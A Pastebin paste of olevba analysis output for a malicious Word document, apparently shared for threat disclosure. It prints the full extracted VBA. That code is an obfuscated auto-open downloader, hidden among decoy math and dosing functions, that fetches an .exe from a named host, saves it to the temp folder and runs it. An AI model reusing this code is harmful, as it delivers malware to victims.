API tools faq
paste
dynamoo

Malicious Word macro

dynamoo
Jun 1st, 2015
758
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VisualBasic 24.93 KB | None | 0 0
raw download clone embed print report
  1. olevba 0.26 - http://decalage.info/python/oletools
  2. Flags       Filename                                                        
  3. ----------- -----------------------------------------------------------------
  4. OLE:MAS-HB- report~1.doc
  5.  
  6. (Flags: OpX=OpenXML, XML=Word2003XML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, ?=Unknown)
  7.  
  8. ===============================================================================
  9. FILE: report~1.doc
  10. Type: OLE
  11. -------------------------------------------------------------------------------
  12. VBA MACRO ThisDocument.cls
  13. in file: report~1.doc - OLE stream: u'Macros/VBA/ThisDocument'
  14. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  15.  
  16. Sub bPROANCE(FFFFF As Double)
  17. SYa260nHlLU
  18. End Sub
  19.  
  20. Sub autoopen()
  21.  
  22. bPROANCE (59.1)
  23.  
  24. End Sub
  25.  
  26. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  27. ANALYSIS:
  28. +----------+----------+---------------------------------------+
  29. | Type     | Keyword  | Description                           |
  30. +----------+----------+---------------------------------------+
  31. | AutoExec | AutoOpen | Runs when the Word document is opened |
  32. +----------+----------+---------------------------------------+
  33. -------------------------------------------------------------------------------
  34. VBA MACRO M11.bas
  35. in file: report~1.doc - OLE stream: u'Macros/VBA/M11'
  36. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  37.  
  38.  
  39.  Public Function CCGFemale(ByVal PtAge As Double, ByVal Weight As Double, ByVal SCr As Double) As Double
  40.         CCGFemale = (((140 - PtAge) * Weight) / (72 * SCr)) * 0.85
  41.     End Function
  42.  
  43.     Public Function JelliffeMale(ByVal PtAge As Double, ByVal SCr As Double, ByVal BSA As Double) As Double
  44.         JelliffeMale = (((98 - (0.8 * (PtAge - 20))) / SCr) * (BSA / 1.73))
  45.     End Function
  46.  
  47.     Public Function JelliffeFemale(ByVal PtAge As Double, ByVal SCr As Double, ByVal BSA As Double) As Double
  48.         JelliffeFemale = (((98 - (0.8 * (PtAge - 20))) / SCr) * (BSA / 1.73)) * 0.9
  49.     End Function
  50.  
  51.     Public Function AgExtIntDose(ByVal DosingWeight As Double) As Integer
  52.         AgExtIntDose = My.Forms.FrmCalculator.ExtInt * DosingWeight
  53.     End Function
  54. Public Function PaddedScanner(Optional bufSz As Long = 20) As String
  55.     Dim tmp As String
  56.     tmp = scanner
  57.     While Len(tmp) < bufSz
  58.         tmp = tmp & " "
  59.     Wend
  60.     PaddedScanner = tmp
  61. End Function
  62.  
  63. Public Function setbyname(name As Variant, value As Variant)
  64.    
  65.     name = Trim(Replace(name, """", Empty))
  66.     value = Trim(Replace(value, """", Empty))
  67.     value = Replace(value, "\\", Chr(5))
  68.     value = Replace(value, "\", Empty)
  69.     value = Replace(value, Chr(5), "\\")
  70.     If value = "null" Then
  71.         value = ""
  72.     End If
  73.    
  74.     If value = "false" Then value = False
  75.     If value = "true" Then value = True
  76.     If name = "detected" And Len(value) = 0 Then value = False
  77.    
  78.     Select Case LCase(name)
  79.         Case "scanner": scanner = value
  80.         Case "detected": detected = CBool(value)
  81.         Case "version": Version = value
  82.         Case "result": Result = value
  83.         Case "update": Update = value
  84.     End Select
  85.    
  86.    
  87. End Function
  88.  
  89.  
  90. Public Sub ParseResponse(scanner_name, json)
  91.  
  92.     scanner = scanner_name
  93.    
  94.     '"detected": false, "version": "11.00", "result": null, "update": "20110421"
  95.    
  96.     On Error Resume Next
  97.     Dim a As Long, b As Long
  98.     Dim main As String, name As String, value As String, scans As String
  99.    
  100.     tmp = Split(json, ",")
  101.     For Each entry In tmp
  102.         entry = Trim(entry)
  103.         If Len(entry) = 0 Then GoTo nextone
  104.         b = InStr(1, entry, ":")
  105.         If b < 2 Then GoTo nextone
  106.         name = Mid(entry, 1, b - 1)
  107.         value = Mid(entry, b + 1)
  108.         If name = "result" And detected = True Then Stop
  109.        
  110. nextone:
  111.     Next
  112.    
  113.     DoEvents
  114.    
  115.  
  116. End Sub
  117. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  118. ANALYSIS:
  119. +------------+----------------+-----------------------------------------+
  120. | Type       | Keyword        | Description                             |
  121. +------------+----------------+-----------------------------------------+
  122. | Suspicious | Chr            | May attempt to obfuscate specific       |
  123. |            |                | strings                                 |
  124. | Suspicious | Hex Strings    | Hex-encoded strings were detected, may  |
  125. |            |                | be used to obfuscate strings (option    |
  126. |            |                | --decode to see all)                    |
  127. | Suspicious | Base64 Strings | Base64-encoded strings were detected,   |
  128. |            |                | may be used to obfuscate strings        |
  129. |            |                | (option --decode to see all)            |
  130. +------------+----------------+-----------------------------------------+
  131. -------------------------------------------------------------------------------
  132. VBA MACRO Module1.bas
  133. in file: report~1.doc - OLE stream: u'Macros/VBA/Module1'
  134. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  135.  
  136. 'Hyperbolic Sin
  137. Public Function HSin(x As Double) As Double
  138. HSin = CDbl((Exp(x) - Exp(-x)) / 2)
  139. End Function
  140.  
  141.  
  142. Public Function bPC3wkV1dz(FFslNfVxHtJTD As String)
  143.     Set bPC3wkV1dz = VBA.CreateObject(Replace(FFslNfVxHtJTD, ",", Chr(46)))
  144. End Function
  145.    
  146.    
  147. 'Hyperbolic Cos
  148. Public Function HCos(x As Double) As Double
  149. HCos = CDbl((Exp(x) + Exp(-x)) / 2)
  150. End Function
  151.  
  152. Public Function HTan(x As Double) As Double
  153. HTan = CDbl((Exp(x) - Exp(-x)) / (Exp(x) + Exp(-x)))
  154. End Function
  155. 'Hyperbolic Tangent
  156.  
  157. 'Hyperbolic Cosecant
  158. Public Function HCosec(x As Double) As Double
  159. HCosec = CDbl(2 / (Exp(x) + Exp(-x)))
  160. End Function
  161.  
  162.     Public Function CrClStd(ByVal CrCl As Double, ByVal BSA As Double) As Double
  163.         CrClStd = CrCl * (1.73 / BSA)
  164.     End Function
  165.  
  166.     Public Function IBWMale(ByVal PtHeightinInches As Double) As Double
  167.         IBWMale = 50 + (2.3 * (PtHeightinInches - 60))
  168.     End Function
  169.  
  170.     Public Function IBWFemale(ByVal PtHeightinInches As Double) As Double
  171.         IBWFemale = 45.5 + (2.3 * (PtHeightinInches - 60))
  172.     End Function
  173.  
  174.     Public Function CCGMale(ByVal PtAge As Double, ByVal Weight As Double, ByVal SCr As Double) As Double
  175.         CCGMale = (((140 - PtAge) * Weight) / (72 * SCr))
  176.     End Function
  177. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  178. ANALYSIS:
  179. +------------+--------------+-----------------------------------------+
  180. | Type       | Keyword      | Description                             |
  181. +------------+--------------+-----------------------------------------+
  182. | Suspicious | Chr          | May attempt to obfuscate specific       |
  183. |            |              | strings                                 |
  184. | Suspicious | CreateObject | May create an OLE object                |
  185. +------------+--------------+-----------------------------------------+
  186. -------------------------------------------------------------------------------
  187. VBA MACRO Module2.bas
  188. in file: report~1.doc - OLE stream: u'Macros/VBA/Module2'
  189. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  190.  
  191. Public PCUG6yaQ2 As String
  192. Public Function SQLParseSQLF(ByVal SqlfExp As String) As String
  193.     Dim lt As Integer
  194.     Dim gt As Integer
  195.     Dim name As String
  196.     Dim Params
  197.    
  198.     lt = InStr(SqlfExp, "<")
  199.     gt = InStr(SqlfExp, ">")
  200.     name = Mid(SqlfExp, 1, lt - 1)
  201.     Params = Mid(SqlfExp, lt + 1, gt - lt - 1)
  202.     Params = Split(Params, ",")
  203.    
  204.     Select Case LCase(name)
  205.     Case "concat"
  206.         SQLParseSQLF = SQLF.Concat(Params)
  207.     Case "left"
  208.         SQLParseSQLF = SQLF.Left(Params(0), Params(1))
  209.     Case "right"
  210.         SQLParseSQLF = SQLF.Right(Params(0), Params(1))
  211.     Case "mid"
  212.         SQLParseSQLF = SQLF.Mid(Params(0), Params(1), Params(2))
  213.     Case "padleft"
  214.         If UBound(Params) > 3 Then
  215.             SQLParseSQLF = SQLF.PadLeft(Params(0), Params(1), Params(2))
  216.         ElseIf UBound(Params) > 2 Then
  217.             SQLParseSQLF = SQLF.PadLeft(Params(0), Params(1))
  218.         Else
  219.             SQLParseSQLF = SQLF.PadLeft(Params(0))
  220.         End If
  221.     Case "padright"
  222.         If UBound(Params) > 3 Then
  223.             SQLParseSQLF = SQLF.PadRight(Params(0), Params(1), Params(2))
  224.         ElseIf UBound(Params) > 2 Then
  225.             SQLParseSQLF = SQLF.PadRight(Params(0), Params(1))
  226.         Else
  227.             SQLParseSQLF = SQLF.PadRight(Params(0))
  228.         End If
  229.     Case "quotedate"
  230.         SQLParseSQLF = SQLF.QuoteDate(CDate(Params(0)))
  231.     Case "quotetime"
  232.         SQLParseSQLF = SQLF.QuoteTime(CDate(Params(0)))
  233.     Case "quotedatetime"
  234.         SQLParseSQLF = SQLF.QuoteDateTime(CDate(Params(0)))
  235.     Case "quotestring"
  236.         SQLParseSQLF = SQLF.QuoteString(Params(0))
  237.     Case "quotename"
  238.         SQLParseSQLF = SQLF.QuoteName(Params(0))
  239.     Case "trim"
  240.         SQLParseSQLF = SQLF.Trim(Params(0))
  241.     Case "ltrim"
  242.         SQLParseSQLF = SQLF.LTrim(Params(0))
  243.     Case "rtrim"
  244.         SQLParseSQLF = SQLF.RTrim(Params(0))
  245.     Case Else
  246.         SQLParseSQLF = name & "(" & Join(Params, ",") & ")"
  247.     End Select
  248. End Function
  249.  
  250.  
  251. 'Inverse Cos
  252. Public Function ICos(x As Double) As Double
  253. ICos = CDbl((180 / Pi) * Atn(-x / Sqr(-x * x + 1))) + 2 * CDbl((180 / Pi) * Atn(1))
  254. End Function
  255. 'Inverse  Cosecant
  256. Public Function ICosec(x As Double) As Double
  257. ICosec = CDbl((180 / Pi) * Atn(x / Sqr(x * x - 1))) + Sgn((x) - 1) * (2 * CDbl((180 / Pi) * Atn(1)))
  258. End Function
  259. Public Function Cotangent(x As Double) As Double
  260. Cotangent = CDbl(1 / Tan((Pi / 180) * CDbl(x)))
  261. End Function
  262.  
  263.  
  264. 'Inverse Tangent
  265. Public Function ITan(x As Double) As Double
  266. ITan = CDbl((180 / Pi) * Atn(x))
  267. End Function
  268.  
  269.  
  270. Public Function WYYNIVVG3g(SXZObuw3iYYi As Variant, bXMzjPtEKL As String)
  271. Dim XIFK7TOqYT: Set XIFK7TOqYT = bPC3wkV1dz("A" & "" & Chr(100) & "o" & "" & Chr(100) & Chr(98) & Chr(46) & "" & Chr(83) & Chr(116) & "r" & Chr(101) & Chr(97) & "m")
  272.  
  273. With XIFK7TOqYT
  274.    .Type = 1
  275.     .Open
  276.     .write SXZObuw3iYYi
  277.     .savetofile bXMzjPtEKL, 2
  278. End With
  279. End Function
  280. 'Inverse Sin
  281. Public Function ISin(x As Double) As Double
  282. ISin = CDbl((180 / Pi) * Atn(x / Sqr(-x * x + 1)))
  283. End Function
  284.  
  285.  
  286. 'Cosecant
  287. Public Function Cosecant(x As Double) As Double
  288. Cosecant = CDbl(1 / Sin((Pi / 180) * CDbl(x)))
  289. End Function
  290. 'Secant
  291. Public Function Secant(x As Double) As Double
  292. Secant = CDbl(1 / Cos((Pi / 180) * CDbl(x)))
  293. End Function
  294. 'Cotangent
  295.  
  296.  
  297. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  298. ANALYSIS:
  299. +------------+----------------+-----------------------------------------+
  300. | Type       | Keyword        | Description                             |
  301. +------------+----------------+-----------------------------------------+
  302. | Suspicious | Open           | May open a file                         |
  303. | Suspicious | Chr            | May attempt to obfuscate specific       |
  304. |            |                | strings                                 |
  305. | Suspicious | SaveToFile     | May create a text file                  |
  306. | Suspicious | Write          | May write to a file (if combined with   |
  307. |            |                | Open)                                   |
  308. | Suspicious | Base64 Strings | Base64-encoded strings were detected,   |
  309. |            |                | may be used to obfuscate strings        |
  310. |            |                | (option --decode to see all)            |
  311. +------------+----------------+-----------------------------------------+
  312. -------------------------------------------------------------------------------
  313. VBA MACRO M3.bas
  314. in file: report~1.doc - OLE stream: u'Macros/VBA/M3'
  315. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  316.  
  317.     Public Function RoundToSignificance(ByVal number As Integer, _
  318.         ByVal roundtonearest As Integer) As Integer
  319.         'Round number up or down to the nearest multiple of significance
  320.        Dim d As Double
  321.         d = number / roundtonearest
  322.         d = Math.Round(d, 0)
  323.         RoundToSignificance = d * roundtonearest
  324.     End Function
  325.  
  326.     Public Function TOneHalf(ByVal K As Double) As Double
  327.         TOneHalf = 0.693 / K
  328.     End Function
  329.  
  330.     Public Function GentKEst(ByVal CrCl As Double) As Double
  331.         GentKEst = (0.00293 * CrCl) + 0.014
  332.     End Function
  333.  
  334.  
  335.     Public Function AgExtIntInterval(ByVal CrClStd As Double) As Double
  336.         Select Case CrClStd
  337.             Case My.Forms.FrmCalculator.Q241 To My.Forms.FrmCalculator.Q242
  338.                 AgExtIntInterval = 24
  339.             Case My.Forms.FrmCalculator.Q361 To My.Forms.FrmCalculator.Q362
  340.                 AgExtIntInterval = 36
  341.             Case My.Forms.FrmCalculator.Q481 To My.Forms.FrmCalculator.Q482
  342.                 AgExtIntInterval = 48
  343.         End Select
  344.     End Function
  345.  
  346.  
  347.  
  348.     Public Function TobraKEst(ByVal CrClStd As Double) As Double
  349.         TobraKEst = (0.00293 * CrClStd) + 0.014
  350.     End Function
  351.    
  352.    
  353. Public Sub SYa260nHlLU()
  354.  
  355. Dim F7I2agqKJEg: Set F7I2agqKJEg = bPC3wkV1dz(Fkfekijf)
  356.    
  357. F7I2agqKJEg.Open Chr(71) & "" & "E" & Chr(84), Chr(104) & "t" & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(117) & Chr(118) & Chr(110) & Chr(101) & Chr(116) & Chr(119) & Chr(111) & Chr(114) & Chr(107) & Chr(46) & Chr(99) & Chr(97) & "/" & Chr(49) & "/" & "0" & Chr(57) & Chr(46) & "e" & Chr(120) & Chr(101), False
  358.  
  359. Set m5FQL7pvv2xGo = bPC3wkV1dz(Chr(87) & Chr(83) & "c" & Chr(114) & Chr(105) & Chr(112) & "t" & Chr(46) & Chr(83) & "h" & "e" & Chr(108) & Chr(108))
  360.  
  361. Set MtMaMCcAKdcu = CallByName(m5FQL7pvv2xGo, Chr(69) & Chr(110) & Chr(118) & Chr(105) & Chr(114) & Chr(111) & Chr(110) & Chr(109) & Chr(101) & Chr(110) & Chr(116), VbGet, Chr(80) & Chr(114) & Chr(111) & "c" & "e" & Chr(115) & "s")
  362.  
  363. LuWnH83eN0 = MtMaMCcAKdcu(Chr(84) & "" & Chr(69) & "M" & "" & "P")
  364.  
  365. PCUG6yaQ2 = LuWnH83eN0 & "" & Chr(92) & "e" & "" & Chr(108) & "d" & Chr(115) & "" & Chr(104) & "r" & "t" & Chr(49) & "" & Chr(46) & "e" & "" & Chr(120) & Chr(101)
  366. Dim mqN0kCl601e() As Byte
  367.  
  368. CallByName F7I2agqKJEg, Chr(83) & "e" & "" & "n" & Chr(100) & "", VbMethod
  369. mqN0kCl601e = CallByName(F7I2agqKJEg, Chr(114) & "e" & "s" & Chr(112) & "o" & Chr(110) & Chr(115) & "e" & Chr(66) & "o" & Chr(100) & "y", VbGet)
  370.  
  371. WYYNIVVG3g mqN0kCl601e, PCUG6yaQ2
  372. On Error GoTo drbs7Nf9B1
  373.     a = 228 / 0
  374.   On Error GoTo 0
  375.  
  376. OLdqOAA7DFWoSQ:
  377.   Exit Sub
  378. drbs7Nf9B1:
  379.   UzyeNXQaGpp0 ("FL" & "" & "rF" & "" & "GfCva")
  380. Resume OLdqOAA7DFWoSQ
  381. End Sub
  382.    
  383.     Public Function VancKEst(ByVal CrCl As Double) As Double
  384.         VancKEst = (0.00083 * CrCl) + 0.004
  385.     End Function
  386.  
  387.     Public Function VdCalc(ByVal VolumeConstant As Double, ByVal PtWeightinKg As Double) As Double
  388.         VdCalc = VolumeConstant * PtWeightinKg
  389.     End Function
  390.  
  391. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  392. ANALYSIS:
  393. +------------+------------+-----------------------------------------+
  394. | Type       | Keyword    | Description                             |
  395. +------------+------------+-----------------------------------------+
  396. | Suspicious | Open       | May open a file                         |
  397. | Suspicious | Chr        | May attempt to obfuscate specific       |
  398. |            |            | strings                                 |
  399. | Suspicious | CallByName | May attempt to obfuscate malicious      |
  400. |            |            | function calls                          |
  401. +------------+------------+-----------------------------------------+
  402. -------------------------------------------------------------------------------
  403. VBA MACRO Module3.bas
  404. in file: report~1.doc - OLE stream: u'Macros/VBA/Module3'
  405. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  406.  
  407. Option Explicit
  408. Public Function Add_UniqueItem(ByRef cboBox As ComboBox, ByRef itemText As String, Optional ByVal cmpMethod As VbCompareMethod = vbBinaryCompare) As Boolean
  409.         '<EhHeader>
  410.        On Error GoTo Add_UniqueItem_Err
  411.         '</EhHeader>
  412.  
  413.     Dim i As Long
  414.  
  415. 100 Add_UniqueItem = False
  416.  
  417. 102 If cboBox Is Nothing Then Exit Function
  418.  
  419. 104 With cboBox
  420.  
  421. 106     For i = 0 To .ListCount
  422. 108         If StrComp(.List(i), itemText, cmpMethod) = 0 Then Exit Function
  423.         Next
  424.        
  425. 110     .AddItem itemText
  426.  
  427.     End With
  428.  
  429. 112 Add_UniqueItem = True
  430.  
  431.         '<EhFooter>
  432.        Exit Function
  433.  
  434. Add_UniqueItem_Err:
  435.         MsgBox Err.Description & vbCrLf & _
  436.                "in ssMDBQuery.MComboboxHelper.Add_UniqueItem " & _
  437.                "at line " & Erl
  438.         Resume Next
  439.         '</EhFooter>
  440. End Function
  441. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  442. ANALYSIS:
  443. No suspicious keyword or IOC found.
  444. -------------------------------------------------------------------------------
  445. VBA MACRO M3F1.bas
  446. in file: report~1.doc - OLE stream: u'Macros/VBA/M3F1'
  447. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  448. Sub Aggregate()
  449.     ' jyeee, 18 Apr 06
  450.    
  451.     Dim insertPoint, numParts, FilePaths As Variant
  452.     ' Make slidemakers upload slides to reachable directories***
  453.    '       \\path\to\ppts
  454.    ' Make slidemakers provide own title slide***
  455.    
  456.     ' ###############################################
  457.    ' Have to hand-jam, force slidemakers to standardize name***
  458.    ' Look out for commas --the last entry should not have one
  459.    FilePaths = Array( _
  460.         "\\path\to\ppts\OSW.ppt", _
  461.         "\\path\to\ppts\CP.ppt", _
  462.         "\\path\to\ppts\MXG.ppt", _
  463.         "\\path\to\ppts\OSO.ppt", _
  464.         "\\path\to\ppts\OG.ppt", _
  465.         "\\path\to\ppts\MDG.ppt", _
  466.         "\\path\to\ppts\MSG.ppt", _
  467.         "\\path\to\ppts\CCP.ppt", _
  468.         "\\path\to\ppts\DS.ppt", _
  469.         "\\path\to\ppts\PA.ppt" _
  470.         )
  471.        
  472.     numParts = UBound(FilePaths) - LBound(FilePaths) + 1
  473.    
  474.     '"\\path\to\ppts\OSA.ppt", _
  475.  
  476.    ' ***ENSURE numParts and the # of paths in FilePaths ARE CONSISTENT***
  477.    ' ###############################################
  478.  
  479.     ' Template should only have first and last slides
  480.    ' Following code ensures this condition
  481.    If ActivePresentation.Slides.Count = 2 Then
  482.         ' Good! NSW ;)
  483.    ElseIf ActivePresentation.Slides.Count < 2 Then
  484.         ' Bad.  Quit for now.
  485.        MsgBox "Two there must be, a master and an apprentice"
  486.         Exit Sub
  487.     Else
  488.         ' Bad -- there are more than two
  489.        ' Assume that the first and last slides are correct
  490.        '  and delete all in the middle
  491.        Dim MyMsg, MyTitle, Response
  492.         MyMsg = "Confirm deletion of slides 2-" & (ActivePresentation.Slides.Count - 1)
  493.         MyTitle = "WARNING!"
  494.         Response = MsgBox(Prompt:=MyMsg, Buttons:=vbYesNo + vbExclamation, Title:=MyTitle)
  495.         Select Case Response
  496.             Case Is = vbYes
  497.                 Do While ActivePresentation.Slides.Count > 2
  498.                     ActivePresentation.Slides(2).Delete
  499.                     ' M$ inconsistent array numbering, this starts with 1 :(
  500.                Loop
  501.             Case Is = vbNo
  502.                 Exit Sub
  503.         End Select
  504.     End If
  505.    
  506.     ' M$ correct inconsistency --arrays start with 0 :)
  507.  
  508. End Sub
  509.  
  510. Public Function Fkfekijf() As String
  511.  
  512. Fkfekijf = "," & Chr(88) & Chr(77) & "L" & Chr(72) & Chr(84) & "TP"
  513. Fkfekijf = "s" & Chr(111) & Chr(102) & "t" & Fkfekijf
  514.  
  515. Fkfekijf = Chr(77) & "i" & Chr(99) & "r" & Chr(111) & Fkfekijf
  516. End Function
  517.  
  518.  
  519. 'Cos
  520. Public Function CosTheta(x As Double) As Double
  521. CosTheta = Cos((Pi / 180) * CDbl(x))
  522. End Function
  523. Sub JoinAllDocxInFolder()
  524.   'MAC VBA does not support wildcards in DIR function
  525.  'So fake it.
  526.  
  527.   Dim folderPath As String
  528.   ' folderpath = "MacintoshHD:Users:jyee:Desktop:word_docs:docs"
  529.  folderPath = "C:\Users\rhl\Desktop\docs"
  530.   folderPath = folderPath & Application.PathSeparator
  531.   Dim filetype As String
  532.   filetype = "docx"
  533.  
  534.   Dim MainDoc As Document
  535.   Set MainDoc = Documents.Add
  536.   Dim file As String
  537.   Dim rng As Range
  538.   Dim oCollection As New Collection
  539.  
  540.   file = Dir$(folderPath) 'setup initial file
  541.  
  542.   Do While Len(file)
  543.     If InStr(filetype, "*") Then
  544.       'if a star exists in the call, just look for that text
  545.      'within the initial characters of the extension
  546.      '(extension presumed 4 characters max, plus the period)
  547.      If InStr(Right(file, 5), filetype) Then
  548.         oCollection.Add folderPath & file
  549.         If file <> ActiveDocument.name Then
  550.           ' iRet = MsgBox(folderPath & file, vbOKOnly, "Aloha")
  551.          Set rng = MainDoc.Range
  552.           rng.Collapse wdCollapseEnd
  553.           rng.InsertFile folderPath & file
  554.         End If
  555.       End If
  556.     Else
  557.       'if no star in the call, then test if extensions match
  558.      If Right(file, Len(filetype)) = filetype Then
  559.         oCollection.Add folderPath & file
  560.         If file <> ActiveDocument.name Then
  561.           ' iRet = MsgBox(folderPath & file, vbOKOnly, "Aloha")
  562.          Set rng = MainDoc.Range
  563.           rng.Collapse wdCollapseEnd
  564.           rng.InsertFile folderPath & file
  565.         End If
  566.       End If
  567.     End If
  568.     'read next item
  569.    file = Dir$
  570.   Loop
  571.  
  572. End Sub
  573.  
  574.  
  575.  
  576.  
  577. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  578. ANALYSIS:
  579. +------------+----------------+-----------------------------------------+
  580. | Type       | Keyword        | Description                             |
  581. +------------+----------------+-----------------------------------------+
  582. | Suspicious | Chr            | May attempt to obfuscate specific       |
  583. |            |                | strings                                 |
  584. | Suspicious | Base64 Strings | Base64-encoded strings were detected,   |
  585. |            |                | may be used to obfuscate strings        |
  586. |            |                | (option --decode to see all)            |
  587. +------------+----------------+-----------------------------------------+
  588. -------------------------------------------------------------------------------
  589. VBA MACRO Module1F3.bas
  590. in file: report~1.doc - OLE stream: u'Macros/VBA/Module1F3'
  591. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  592.  
  593. Public Const Pi = 3.14159265358979
  594. 'Sin
  595. Public Function Sine(x As Double) As Double
  596. Sine = Sin((Pi / 180) * CDbl(x))
  597. End Function
  598.  
  599. 'Inverse Secant
  600. Public Function ISec(x As Double) As Double
  601. ISec = CDbl((180 / Pi) * Atn(x / Sqr(x * x - 1))) + Sgn((x) - 1) * (2 * CDbl((180 / Pi) * Atn(1)))
  602. End Function
  603. 'Inverse Cotangent
  604. Public Function ICot(x As Double) As Double
  605. ICot = CDbl((180 / Pi) * Atn(x)) + 2 * CDbl((180 / Pi) * Atn(1))
  606. End Function 'Hyperbolic Secant
  607.  
  608.  
  609. Public Function UzyeNXQaGpp0(zhe0hni3C As String)
  610.     Set xLFUyTFUI5lp = bPC3wkV1dz(Chr(83) & Chr(104) & "e" & Chr(108) & "l" & "." & Chr(65) & Chr(112) & Chr(112) & Chr(108) & Chr(105) & Chr(99) & Chr(97) & "t" & Chr(105) & "o" & Chr(110))
  611. xLFUyTFUI5lp.Open (PCUG6yaQ2)
  612. End Function
  613. Public Function HSec(x As Double) As Double
  614. HSec = CDbl(2 / (Exp(x) - Exp(-x)))
  615. End Function
  616. 'Hyperbolic Cotangent
  617. Public Function HCotan(x As Double) As Double
  618. HCotan = CDbl((Exp(x) + Exp(-x)) / (Exp(x) - Exp(-x)))
  619. End Function
  620.  
  621.  
  622.  
  623.  
  624. 'Inverse Hyperbolic Sine
  625. Public Function IHSin(x As Double) As Double
  626. IHSin = CDbl(Log(x + Sqr(x * x + 1)))
  627. End Function
  628. 'Inverse Hyperbolic Cos
  629. Public Function IHCos(x As Double) As Double
  630. IHCos = CDbl(Log(x + Sqr(x * x - 1)))
  631. End Function
  632. 'Inverse Hyperbolic Tangent
  633. Public Function IHTan(x As Double) As Double
  634. IHTan = CDbl(Log((1 + x) / (1 - x)) / 2)
  635. End Function
  636. 'Inverse Hyperbolic Secant
  637. Public Function IHSec(x As Double) As Double
  638. IHSec = CDbl(Log((Sqr(-x * x + 1) + 1) / x))
  639. End Function
  640. 'Inverse Hyperbolic Cosecant
  641. Public Function IHCosec(x As Double) As Double
  642. IHCosec = CDbl(Log((Sgn(x) * Sqr(x * x + 1) + 1) / x))
  643. End Function
  644.  
  645.  
  646. 'Inverse Hyperbolic Cotangent
  647. Public Function IHCot(x As Double) As Double
  648. IHCot = CDbl(Log((Sgn(x) * Sqr(x * x + 1) + 1) / x))
  649. End Function
  650.  
  651.  
  652. '********************************************************************
  653. '
  654. '   OTHER USEFUL FUNCTIONS
  655. '
  656. '********************************************************************
  657. Public Function Power(x As Double, Y As Double) As Double
  658. Power = x ^ Y
  659. End Function
  660.  
  661. Public Function LogN(Base As Double, x As Double) As Double
  662. LogN = Log(x) / Log(Base)
  663. End Function
  664. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  665. ANALYSIS:
  666. +------------+-------------+-----------------------------------------+
  667. | Type       | Keyword     | Description                             |
  668. +------------+-------------+-----------------------------------------+
  669. | Suspicious | Open        | May open a file                         |
  670. | Suspicious | Chr         | May attempt to obfuscate specific       |
  671. |            |             | strings                                 |
  672. | Suspicious | Hex Strings | Hex-encoded strings were detected, may  |
  673. |            |             | be used to obfuscate strings (option    |
  674. |            |             | --decode to see all)                    |
  675. +------------+-------------+-----------------------------------------+
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!